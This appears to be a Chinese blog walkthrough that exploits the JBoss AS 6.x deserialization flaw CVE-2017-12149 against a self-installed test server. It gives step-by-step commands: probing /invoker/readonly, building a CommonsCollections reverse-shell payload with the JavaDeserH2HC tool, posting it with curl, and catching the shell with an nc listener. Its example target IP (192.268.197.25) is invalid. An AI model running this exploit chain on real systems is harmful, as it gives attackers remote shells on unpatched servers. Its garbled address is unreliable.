CVE-2017-12149 JBOOS AS 6.X 反序列化漏洞利用--自测

1.下载jboss

http://jbossas.jboss.org/downloads/

2.安装配置，自己百度

3.修改配置，端口和ip远程可以访问

路径：jboss-6.1.0.Final\server\default\deploy\jbossweb.sar\server.xml

4.启动服务

到bin目录下启动run.bat

5.访问ip+端口(8082)

6.验证是否存在漏洞

http://ip:8082/invoker/readonly/

返回500 一般就是存在了。

7.下载利用工具

原： http://scan.javasec.cn/java/JavaDeserH2HC.zip

使用方法:

javac -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap.java

java -cp .:commons-collections-3.2.1.jar  ReverseShellCommonsCollectionsHashMap ip:port //反弹shell的IP和端口

这个时候会生成一个ReverseShellCommonsCollectionsHashMap.ser文件，curl 这个二进制文件就可以了。

ReverseShellCommonsCollectionsHashMap.ser 打包到http://scan.javasec.cn/java/ReverseShellCommonsCollectionsHashMap.ser

curl http://192.268.197.25:8080/invoker/readonly --data-binary @ReverseShellCommonsCollectionsHashMap.ser

简化的利用工具：

http://scan.javasec.cn/java/jboss_CVE-2017-12149.zip

8.本机机器执行nc 进行端口监听

nc.exe -l -p  1234

9.执行利用工具

10.查看反弹

11.利用成功

参考地址：

http://www.cnblogs.com/sevck/p/7874438.html